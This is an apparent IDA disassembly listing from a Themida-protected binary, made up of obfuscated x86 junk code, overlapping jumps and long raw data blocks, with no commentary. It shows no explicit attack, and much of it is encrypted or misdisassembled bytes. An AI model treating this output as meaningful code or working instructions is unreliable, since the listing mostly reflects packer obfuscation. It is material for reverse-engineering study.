		pop	esi
		cld
		and	ebp, edi
		sbb	al, [ebx+21h]
		std
		outsb
		pop	ds
		and	ebp, edi
		popf
		and	eax, 2295358Ah
		mov	ds:714A76D6h, al ; CODE	XREF: Themida_:005BD092j
					; Themida_:005BD0A2j
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005BD06Cj


loc_5BD065:				; CODE XREF: Themida_:005BD076j
		hlt
; ---------------------------------------------------------------------------


loc_5BD066:				; CODE XREF: Themida_:005BD006j
		pop	esp


loc_5BD067:				; CODE XREF: Themida_:005BD068j
		pop	edx
		jp	short loc_5BD067
		jnz	short near ptr loc_5BD092+1
		jb	short near ptr loc_5BD061+2
		jnz	short near ptr loc_5BD006+1 ; CODE XREF: Themida_:005BD070j
					; Themida_:005BD078j ...
		jns	short near ptr loc_5BD06E+1
		jz	short near ptr loc_5BD03E+1 ; CODE XREF: Themida_:005BD074j
		js	short near ptr loc_5BD072+1
		jnb	short loc_5BD065
		jge	short near ptr loc_5BD06E+1


loc_5BD07A:				; CODE XREF: Themida_:loc_5BD07Cj
		jz	short near ptr loc_5BD06E+1


loc_5BD07C:				; CODE XREF: Themida_:loc_5BD096j
		jnp	short loc_5BD07A


loc_5BD07E:				; CODE XREF: Themida_:005BD080j
		jz	short loc_5BD0F8
		jnp	short loc_5BD07E
		jnz	short near ptr loc_5BD03E+2 ; CODE XREF: Themida_:005BD084j
		jp	short near ptr loc_5BD082+1
		jnz	short loc_5BD0E6 ; CODE	XREF: Themida_:005BD088j
		jp	short near ptr loc_5BD086+1
		jbe	short loc_5BD023
		sub	[esi-59D6EB8Bh], ah ; CODE XREF: Themida_:loc_5BD09Aj


loc_5BD092:				; CODE XREF: Themida_:005BD06Aj
					; Themida_:005BD094j
		jnz	short near ptr loc_5BD05C+3
		jp	short near ptr loc_5BD092+1


loc_5BD096:				; CODE XREF: Themida_:005BD098j
		jnz	short loc_5BD07C
		jnp	short loc_5BD096


loc_5BD09A:				; CODE XREF: Themida_:005BD09Cj
		jz	short near ptr loc_5BD08C+3
		jnp	short loc_5BD09A
		jz	short loc_5BD030
		mov	dl, 0F8h
		jnz	short near ptr loc_5BD05C+4
		sbb	dh, [eax-10h]
		bound	esi, [edx]
		out	73h, al
		cmpsb
		dec	dword ptr [esi+707C8C31h]
		lock cdq
		xor	ah, dh
		jnb	short loc_5BD124
		dec	esi
		xor	ecx, ebp
		jl	short loc_5BD12E
		lock jmp near ptr 35CFB6F6h ; CODE XREF: Themida_:loc_5BD0E6j
; ---------------------------------------------------------------------------
		dd 453192FFh, 0DFF0707Ch, 1E73E63Dh, 0D031CAFFh, 4AF0707Ch
		dd 7B73E63Dh
		db 0FFh, 0C6h, 31h
; ---------------------------------------------------------------------------


loc_5BD0DF:				; CODE XREF: Themida_:005BD0EDj
		bound	edi, [eax+esi*2-10h]
		icebp
		cmp	al, 0E6h


loc_5BD0E6:				; CODE XREF: Themida_:loc_5BD086j
		jnb	short near ptr loc_5BD0BE+1
		inc	edx
		xor	[esp+edi*2], esi
		jo	short loc_5BD0DF
		enter	0FFFFE63Ch, 73h	; CODE XREF: Themida_:005BD0FEj
		inc	edx
; ---------------------------------------------------------------------------
		dd 0FE31BEFFh
; ---------------------------------------------------------------------------


loc_5BD0F8:				; CODE XREF: Themida_:loc_5BD07Ej
		jl	short near ptr loc_5BD168+2
		lock xchg edi, [esi]
		jnb	short near ptr loc_5BD0EF+1
; ---------------------------------------------------------------------------
		dd 0A731BAFFh, 8EF0707Ch, 0A673E63Ch, 8C31AEFFh, 57F0707Ch
		dd 6C73E63Ch, 0E931B6FFh, 0C2F0707Ch, 3573E63Ch
; ---------------------------------------------------------------------------


loc_5BD124:				; CODE XREF: Themida_:005BD0B6j
		push	dword ptr [edx+707C4531h]
; ---------------------------------------------------------------------------
		dw 0FFF0h
; ---------------------------------------------------------------------------
		cmp	al, 0E6h


loc_5BD12E:				; CODE XREF: Themida_:005BD0BCj
		jnb	short loc_5BD14E
		jmp	fword ptr [esi+707CD031h]
; ---------------------------------------------------------------------------
		dw 0EFF0h
		dd 7B73E63Dh, 62319EFFh, 95F0707Ch, 0D773E63Dh,	34319AFFh
; ---------------------------------------------------------------------------
		jl	short loc_5BD1BE


loc_5BD14E:				; CODE XREF: Themida_:loc_5BD12Ej
		lock fstp tbyte	ptr ds:0FF4273E6h
		xchg	eax, esi
		xor	esi, edi
		jl	short loc_5BD1CA
		db	67h		; CODE XREF: Themida_:005BD1C1j
		lock cmp eax, 0FFF073E6h
		stosb


loc_5BD162:				; CODE XREF: Themida_:005BD1B4j
		xor	[edi-6D0F8F84h], esp


loc_5BD168:				; CODE XREF: Themida_:loc_5BD0F8j
		cmp	eax, 0FFA673E6h
		cmpsb
		xor	[esp+edi*2+32ACF070h], ecx
		out	73h, al
		insb
		jmp	dword ptr [edx+767CE931h]
; ---------------------------------------------------------------------------
		dw 14F0h
		dd 3573E95Bh, 453151FFh, 0AF0767Ch, 1E73E956h, 0D0314DFFh
		db 7Ch,	9Ch, 0B6h
; ---------------------------------------------------------------------------


loc_5BD197:				; CODE XREF: Themida_:005BD1CDj
		mov	al, 0F1h
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		mov	ch, 0F9h
		popa
		sti
		and	eax, 0FDF53FD5h
		lodsd
		sar	dword ptr [ecx+3422916Eh], 1
		mov	bh, 0CFh
		jp	short loc_5BD162
		and	esi, [edi+1A20AD29h] ; CODE XREF: Themida_:005BD1BCj
		jp	short near ptr loc_5BD1B6+5


loc_5BD1BE:				; CODE XREF: Themida_:005BD14Cj
		jnz	short loc_5BD239
		daa
		jl	short near ptr loc_5BD15A+1
		pop	ebp
		aas
		out	73h, al		; CODE XREF: Themida_:005BD224j
; ---------------------------------------------------------------------------
byte_5BD1C7	db 0A0h			; CODE XREF: Themida_:005BD22Ej
; ---------------------------------------------------------------------------
		dec	edi


loc_5BD1CA:				; CODE XREF: Themida_:005BD158j
		xor	[esp+edi*2], esi
		jge	short loc_5BD197
		movsd
		db	3Eh
		out	73h, al
		iret
; ---------------------------------------------------------------------------
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A7314DEFh, 96FEBD7Ch
		dd 2F7A452Bh, 28AFD7Ah,	0CD6EB9CAh, 0A14648F7h,	0C6F8FB61h
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 916EB9CAh
		dd 8F4648F7h, 0D1F8FB61h, 228A50FCh
; ---------------------------------------------------------------------------
		and	ebx, [edi]


loc_5BD21E:				; CODE XREF: Themida_:005BD242j
		mov	esp, 31CFF787h
		cmpsd
		jl	short near ptr loc_5BD1C5+1
		sub	eax, 2CA32005h
		in	al, dx
		xchg	eax, edx
		insd
		ja	short near ptr byte_5BD1C7
		jp	short loc_5BD27F
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5BD28D
		mov	dh, [eax-2Ah]


loc_5BD239:				; CODE XREF: Themida_:loc_5BD1BEj
		mov	ecx, 3ED1F46Eh
		popf


loc_5BD23F:				; CODE XREF: Themida_:005BD240j
		pop	es
		js	short loc_5BD23F
		jnz	short loc_5BD21E
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		db 54h
		dd 0D0DE9B59h, 8C3151EFh, 8DE9B7Ch, 0E5779592h,	0F3360B7Ah
		dd 866E8872h, 0A73151EFh, 54C54D7Ch, 0BA8AAD79h, 916EB9D6h
		dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch
; ---------------------------------------------------------------------------
		imul	edi, 75h


loc_5BD27F:				; CODE XREF: Themida_:005BD230j
		jns	short near ptr loc_5BD2A9+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5BD28D:				; CODE XREF: Themida_:005BD234j
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh
		jnz	short loc_5BD2CA
		xchg	eax, edx
		loope	loc_5BD31A
		mov	esp, 844EA77Ah
		push	cs


loc_5BD2A9:				; CODE XREF: Themida_:loc_5BD27Fj
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005BD2D0j
		retf
; ---------------------------------------------------------------------------
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		db 0A0h, 89h
; ---------------------------------------------------------------------------


loc_5BD2CA:				; CODE XREF: Themida_:005BD29Ej
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5BD2AE+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB61B6D9h
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		db 61h
		dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
		dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
; ---------------------------------------------------------------------------
		sbb	al, 56h


loc_5BD316:				; CODE XREF: Themida_:005BD326j
		popf


loc_5BD317:				; CODE XREF: Themida_:005BD318j
		inc	ebx
		jnp	short loc_5BD317


loc_5BD31A:				; CODE XREF: Themida_:005BD2A1j
		jnz	short loc_5BD336
		dec	esp


loc_5BD31D:				; CODE XREF: Themida_:loc_5BD336j
		std
		jnz	short loc_5BD399
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5BD316
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5BD336:				; CODE XREF: Themida_:loc_5BD31Aj
		jnz	short loc_5BD31D
; ---------------------------------------------------------------------------
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	62314DEFh
		dd 0CBC0707Ch, 5D73E63Eh, 2C7F518Ah, 3BE002D0h,	873E63Eh
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h
		db 85h
; ---------------------------------------------------------------------------


loc_5BD399:				; CODE XREF: Themida_:005BD31Ej
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		and	dl, [edi-4Ah]
		lahf
		xchg	eax, edx
		push	edi
		and	bh, [edx+edx*4]
		or	al, 75h
		retf
; ---------------------------------------------------------------------------
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 0D031D4FFh, 0CCC87D7Ch, 0F373E63Eh
		dd 0FCF8EC0Fh, 0BA6EB9E1h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A731D4F7h
		dd 77C87D7Ch, 2F73E63Eh, 12F8F10Fh, 0CD6EB9E1h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 0F8C56885h, 0C3F8FB61h, 296EB582h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 296EB9D6h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 0D03151EFh, 0EA917D7Ch, 42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F46EB9CAh, 3DFA60F7h, 0A0F8FB61h
		dd 4ECD3E39h, 0D075FD7Ah, 8C314DEFh, 0CEB57E7Ch, 1A8935F1h
		dd 0E93151EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h,	5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 667D17FBh, 0EAFCFB61h,	60CF7D86h
		dd 0E573E63Eh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 45314DE8h
		dd 0ADFCBD7Ch, 916EB9CEh, 79F835F1h, 0E36EB4A6h, 0B6D96F85h
		dd 7FFDFB61h, 4801F3Ch,	5E75FD6Dh, 6BC17F79h, 1A35FB61h
		dd 0D03C2DE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0F8C17779h
		dd 0ECF8FB61h, 296EB4C4h, 2F2B5989h, 0CB75FD72h, 0A1C56F85h
		dd 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 0D03C1290h, 5DCF707Ch, 7973E63Eh, 71CCF50Fh,	4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 8C3145E7h, 0D3497D7Ch, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 655D17FBh
		dd 25F8FB61h, 0CD6EB9C2h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 1ACD40F7h, 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F46EB9C2h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 0A1CD40F7h, 0F3CDFB61h
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0D3B078F7h
		dd 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h, 0E80000h
		dd 5D000000h, 4AA8ED81h, 448B061Bh, 85890424h, 6143219h
		dd 0B8h, 798D8D00h, 0FF06144Dh,	6754B8E1h, 11E80000h, 45000000h
		dd 868FE50h, 0BEDF923Fh, 0A7B98E06h, 13933055h,	5B1CE280h
		dd 0BCB96660h, 0D2BF0F7Dh, 0D7C38161h, 0F00005Ch, 11BED2B7h
		dd 81000017h
; ---------------------------------------------------------------------------


loc_5BD6DC:				; DATA XREF: Themida_:0054C0E0o
		fld	dword ptr [esi+8]
		adc	al, 0Dh
; START	OF FUNCTION CHUNK FOR sub_5BD701


loc_5BD6E1:				; CODE XREF: sub_5BD701+39j
		push	dword ptr [ebx]
		pop	eax
		sub	dx, 0B643h
		sub	eax, 660E817Eh
		add	eax, 884A754h
		call	sub_5BD701
		mov	byte ptr [eax-7B1B4D6Fh], 0DBh
; END OF FUNCTION CHUNK	FOR sub_5BD701

; =============== S U B	R O U T	I N E =======================================



sub_5BD701	proc near		; CODE XREF: sub_5BD701-Cp

; FUNCTION CHUNK AT 005BD6E1 SIZE 00000020 BYTES

		push	esi
		add	edx, 201087BAh
		pop	ecx
		pop	ecx
		add	eax, 75407DC8h
		xor	dh, 0Dh
		push	eax
		stc
		pop	dword ptr [ebx]
		mov	dx, cx
		sub	ebx, 7DE03F20h
		xor	edx, 46831CABh
		add	ebx, 7DE03F1Ch
		pusha
		mov	di, 3296h
		mov	ebx, esi
		popa
		sub	esi, 1
		jnz	loc_5BD6E1
		or	edi, 97184E3h
		jmp	loc_5BD779
; ---------------------------------------------------------------------------
		db 0Bh
		dd 21EEEFh, 0Ah	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5BD779:				; CODE XREF: sub_5BD701+45j
		jmp	loc_5BDD5D
; ---------------------------------------------------------------------------
		dw 2BB1h
		dd 6E654294h, 0B220FD4Fh, 0FBDAB709h, 488F6CBEh, 0CEEA2375h
		dd 76C8F5E2h, 2F813899h, 0E7398652h, 9DEFCC0Ah,	1D030991h
		dd 31580D33h, 0C412CF36h, 0E1E7AFF7h, 51F1E7FBh, 0E7A1878Dh
		dd 8DB551F1h, 6709FC7h,	4920DEF9h, 31919ACFh, 64317911h
		dd 0FA004871h, 51F2B714h, 0C1D10028h, 0C314F2E4h, 5EF64EFAh
		dd 0D531A5B2h, 0B70FBB02h, 6D66731Fh, 0B30C7691h, 52EA6FBAh
		dd 8ECC30A6h, 31A66076h, 25983F8Ch, 41892179h, 2A596274h
		dd 749B3D1Ah, 0F22F886Eh, 2E141A51h, 4251F230h,	942C541Ah
		dd 9C736542h, 0F22FB096h, 49CC451h, 33864B58h, 0F2903287h
		dd 656C9E3Ah, 8D6ABC54h, 80C67249h, 51F22F9Dh, 4E450519h
		dd 0FEEDAA17h, 6DE7h, 0C412FE00h, 1FE7AFF7h, 0F1E83319h
		dd 991F4751h, 51F1E7B3h, 6709FC7h, 0F1E7DCC0h, 4465A51h
		dd 0EDF1D68Fh, 128FEh, 123F0000h, 4350FCC1h, 79812D90h
		dd 0BD016CA2h, 0E228AC59h, 4AB02D1h, 6A75A4E4h,	2CA24E6Bh
		dd 61728AC8h, 0AA1219Dh, 0EA42EECBh, 88981893h,	0DAE0A8F0h
		dd 51F22EF4h, 11AC2B08h, 46750D65h, 3E7D5936h, 0C51233ECh
		dd 943F4CF8h, 0A4AA6374h, 51F1E7BEh, 6612AAD2h,	0A615C10Eh
		dd 5E0AA2FAh, 0CA07D4ECh, 8936A2EFh, 45685DDh, 9429AE46h
		dd 0F3A6754Ch, 59EEDB3Bh, 6B421A2Ah, 0C35EDF7Fh, 590BA018h
		dd 0C139449Bh, 874F5A89h, 577B8834h, 834F1C64h,	189F0938h
		dd 0CEA554F6h, 375C0ACh, 26E9D00h, 0FEED1073h, 66ABh, 0C512C200h
		dd 933F4CF8h, 0B15D6073h, 9F15C159h, 0F2E51F3Bh, 0E82F151Bh
		dd 1B4351F1h, 8C593183h, 70C87445h, 6CA13641h, 0F1E88066h
		dd 0D46C9451h, 0FFBA1B28h, 0E8AACC53h, 0EDEF82F3h, 2E34FCFEh
		dd 51F1F248h, 9F05345Ch, 58h, 894A17B6h, 0DDFA0534h, 0B12734E0h
		dd 962E620Eh, 7FAE0DC9h, 0D76D2Dh, 17B26BBDh, 832F8C4Ah
		dd 0E2F1FC2Bh, 5A272FDBh, 7D94407Dh, 9995B84Ch,	507F1784h
		dd 0F24C290Ch, 0F191A551h, 5A657340h, 0BB2756AEh, 0FEED8DAAh
		dd 0E6ECB4h, 1451F258h,	157BDECh, 6E000000h, 33884A17h
		dd 0E2D9F904h, 0EAD2936h, 0FE23EFC6h, 0D8FF48C2h, 94EA3FA9h
		dd 0FBBFF5CCh, 6FA63332h, 0F26503E9h, 0A2EF1751h, 85A8936h
		dd 0E7EAB74Ah, 81CE26D2h, 2E396857h, 0E9C517A4h, 858BD37Bh
		dd 57E57F6Eh, 20060CE4h, 34580680h, 0C0C8740Ch,	800CF2F8h
		dd 39205806h, 3A078B6Ah, 0B5029AECh, 616C9B22h,	17F44675h
		dd 0E7B4FCBFh, 349ECDF0h, 6A30AEEh, 7C3F9358h, 0DCC2C8D0h
		dd 0F05806A2h, 5F5A7BC8h, 0B9D93DB3h, 0A2E0C438h, 1D6F4C8Ah
		dd 79259640h, 9516A6Ch,	7420993Ch, 1183ED1Ch, 7F57EDADh
		dd 3B12EA3Ch, 0B5772AF6h, 50BCEB5Bh, 0F8D95B15h, 1B4E9h
		dd 0C414E100h, 0C8F74FFBh, 3AA513E1h, 1FB66BCFh, 3F96EE9Ah
		dd 206D1FD7h, 15905B6h,	53592169h, 51F2D06Dh, 242A5981h
		dd 0C5488F5Ch, 0F2CFD9BFh, 2DC5ED51h, 0CFF9DFE5h, 0E50D51F2h
		dd 0F53B72B6h, 0C9F157E5h, 77D1AA81h, 70F93032h, 0DE0DB023h
		dd 4C6F6774h, 2B91DFAh,	2E8D4956h, 0EEAC1082h, 0E93B8056h
		dd 5D434911h, 715807B0h, 0B7AE1A49h, 47F8D829h,	87h, 0CC40175Eh
		dd 4C1D95B4h, 0ED5A6493h, 8AA98F95h, 353B51F2h,	51F28B4Fh
		dd 4D753B63h, 0A0966DB5h, 3C558105h, 383E4473h,	0D1F2C372h
		dd 6A721E46h, 5D988C93h, 80AF2611h, 0F2E1563Ch,	94B6DAD1h
		dd 0FD8A8E65h, 8AF5EA57h, 89E4515Bh, 8ED66E4Dh,	0E3DAF9C6h
		dd 13A82A37h, 48770F67h, 0F27C3E04h, 0BBB99051h, 49163688h
		dd 0AFD75B8Ah, 0C03C9A67h, 0FB3695ADh, 579F374Ah, 0F2016B51h
		dd 28577F51h, 0B73A18h,	13910000h, 299244A5h, 2CC4F5DCh
		dd 0FDC017E4h, 0C4CAF951h, 18A32FFCh, 6BA79EC1h, 1443E6A5h
		dd 0E54A15D0h, 0F1E6C357h, 30C820CCh, 23AF7C84h, 785E6998h
		dd 4C19F143h, 7B883485h, 5EB6625Dh, 4A8C97C6h, 0F0BDC571h
		dd 1128D4E5h, 5B27A0FAh, 0B2E179DEh, 6268D6Eh, 4505E958h
		dd 429427AFh, 48F866h, 0FE909CFAh, 1EB3905Dh, 0F3BB039Bh
		dd 217107EDh, 0AD93995Eh, 0C15E2170h, 7CABD399h, 2BD10512h
		dd 0DD128B33h, 43CE0E7Fh, 0BFC17BD2h, 8E9B47DFh, 0BFCC7845h
		dd 0C5F9A518h, 0AB40A1E1h, 6C4D8855h, 0BC1B68C0h, 0C280D201h
		dd 0C911BD2Bh, 19B365C3h, 0DF315964h, 0F9A51326h, 1B21E9B1h
		dd 51F1E835h, 0AEF22149h, 57EA5250h, 63701C44h,	19F64873h
		dd 0C52FEBDh, 7FA2F25Eh, 4DFC9E02h, 36655680h, 2151AB2Bh
		dd 59640088h, 0C06C4F87h, 0E638D068h, 0A6EECD09h, 0EFF2D8DEh
		dd 1F068002h, 0A0258EDCh, 79A84003h, 0E6D3020Fh, 743E53Ah
		dd 80D2E9EDh, 0C2FDDBA8h, 848FBE16h, 0B5BD6952h, 23CFF0E8h
		dd 0C62F151Bh, 1B438003h, 3485483h, 9F000000h, 0CA127DE4h
		dd 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh
		dd 0B61F2CD8h, 884A5703h, 597A8733h, 5733B864h,	0C781E789h
		dd 4, 4EF81h, 3C870000h, 34895C24h, 0E0895024h,	405h, 4E88300h
		dd 5C240487h, 83242C89h, 1C8904ECh, 0DE685224h,	5A13C731h
		dd 484EE281h, 0CA812850h, 8AF4101h, 0AD0BB53h, 0DA310EF4h
		dd 5AD5895Bh, 241C8B54h, 4C481h, 0EC830000h, 242C8904h
		dd 0FF08438Fh, 835B2434h, 2C8B04C4h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 0F92CA6E9h, 0E8A395FFh
; ---------------------------------------------------------------------------
		push	es


loc_5BDD5D:				; CODE XREF: sub_5BD701:loc_5BD779j
		mov	eax, 61B50F8h
		add	eax, ebp
		jmp	eax
sub_5BD701	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C80Ah
		dd 988F597Fh, 0C1474D19h, 903E6AFBh, 0DCEF1829h, 72D44FF9h
		dd 30051ECBh, 486009A2h, 6D340D38h, 43161D11h, 0D56E373Bh
		dd 3DFE635Fh, 0DFE9222Bh, 0CE000000h, 825FB10Eh, 3D1A6C51h
		dd 0F7D42695h, 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h
		dd 56696F4Ch, 0CAF2704h, 2026AEBAh, 580D393Ah, 12EC534Eh
		dd 0DB4AF6C3h, 8E2CFED5h, 89EC17B5h, 83864F5Ah,	0F25A977Dh
		dd 2C83AB51h, 0CACC9E6Bh, 80D26A27h, 0F1EB896Ah, 81F1D351h
		dd 0B37B5033h, 3461C7ADh, 84B3DB52h, 759F9E40h,	81A66A50h
		dd 2CF450B8h, 0B8814026h, 5B775452h, 0BE71C860h, 2AE82B02h
		dd 1ECDD908h, 5000000h,	0B151373Dh, 3D6552B8h, 6E4495E6h
		dd 0F7260B7Ah, 494F1710h, 51F1E863h, 0E7204F77h, 0F5CA1280h
		dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h,	0D8E5F2FFh
		dd 3B61F2Ch, 33884A57h,	64597A87h, 0BC6833B8h, 0E9061B51h
		dd 0FFF92B8Fh, 0A21B1AE5h, 0EE0E933Dh, 8D8DD394h, 61B536Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h
		dd 86672CAAh, 0EBC944DBh, 298D8938h, 60061432h,	6800Fh
		dd 0F6810000h, 74E442D8h, 1D718D01h, 0C7610614h, 14064D85h
		dd 6ACC06h, 68B0F00h, 8B000000h, 140AE5B5h, 7185C706h
		dd 61426h, 0E8000000h, 0Eh, 0E7EDD2A4h,	8CBE252Eh, 53100136h
		dd 0BF66D05Ah, 0FF5AD921h, 143099B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0DB81BC6Ah, 678DF9BBh, 6E9h,	0C3EA2D00h, 0FF79A163h
		dd 14236195h, 0DE906h, 0E9DC0000h, 0BD8393A0h, 0E1A7559Ch
		dd 6AB7B97Eh, 6995FF00h, 8B061411h, 9F3BEBC0h, 3EED1340h
		dd 4BD80435h, 0ACDC0DBFh, 34C35560h, 2FE4FB4Bh,	1D438B54h
		dd 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h
		dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 8D8DC09Ch, 61B547Bh
		dd 2C559D8Bh, 8D890614h, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B7C35040h,	0B52DFAEDh, 9F9C7F83h
		dd 6830F63h, 89000000h,	14318D8Dh, 8166FC06h, 0C76715EEh
		dd 14064D85h, 6FCC06h, 0CEF28100h, 0C77BDB9Bh, 14267185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 3C326768h, 11FB06A5h, 29D8D09h, 0B5FF0614h
		dd 6140D49h, 236195FFh,	6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 604EB4C3h, 612EEBE7h
		dd 8D016075h, 6140665h,	17199D29h, 6A610614h, 6995FF00h
; ---------------------------------------------------------------------------


loc_5BE058:				; DATA XREF: Themida_:00548E7Co
					; Themida_:0054B664o
		adc	[esi+eax], edx
		mov	eax, eax
		jmp	short loc_5BE0A8
; ---------------------------------------------------------------------------
		db 3Eh
		dd 0FABF82E9h, 0BFB665E7h, 6A01508Eh, 2F68ABF0h, 0A8A40F88h
		dd 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh, 0CCBE655Fh
		dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h, 492FCFF3h
		dd 0AC3008C3h, 0FC88B654h, 81CDB06Dh
; ---------------------------------------------------------------------------


loc_5BE0A8:				; CODE XREF: Themida_:005BE05Dj
		jmp	short loc_5BE0C0
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 1010000h
; ---------------------------------------------------------------------------


loc_5BE0C0:				; CODE XREF: Themida_:loc_5BE0A8j
		inc	esp
		add	al, 0
		add	[ebx], bl
		push	es
		push	0
		push	edi
		call	sub_5BE0D1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE0D1	proc near		; CODE XREF: Themida_:005BE0C9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BE0D1	endp

; ---------------------------------------------------------------------------
		db 73h,	6Bh, 44h
		dd 0E2912059h, 0FAEE932h, 889h,	2890F00h, 50000000h, 9995295Bh
		dd 50061413h, 0BE8h, 518E6E00h,	1D708E9Fh, 8A34743Dh, 0B0595260h
		dd 89596138h, 8E0F2404h, 5, 0E8C0C8BFh,	6A006A74h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0B7C0C350h, 0FA34241Ch, 0BD89658Eh, 614106Dh, 0D71B589h
		dd 6A0614h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 17h,	0C3C35040h, 8D5C5E0Eh, 1B563785h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 66377709h, 90FEEEBFh, 5800Fh, 46BA0000h, 507C5470h
		dd 0A991ADBAh, 6A904Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 787F3FC3h, 8FBB1B19h, 6A21556Eh
		dd 9840F00h, 0F000000h,	382h, 17CB8000h, 0D78B006Ah, 1A7195FFh
		dd 0BD2B0614h, 6142195h, 648E9h, 14E900h, 9D50000h, 0AA3CE9B0h
		dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 0E8A570h, 5D000000h
		dd 563CED81h, 9509061Bh, 6142F05h, 8559D33h, 6A0614h, 3E857h
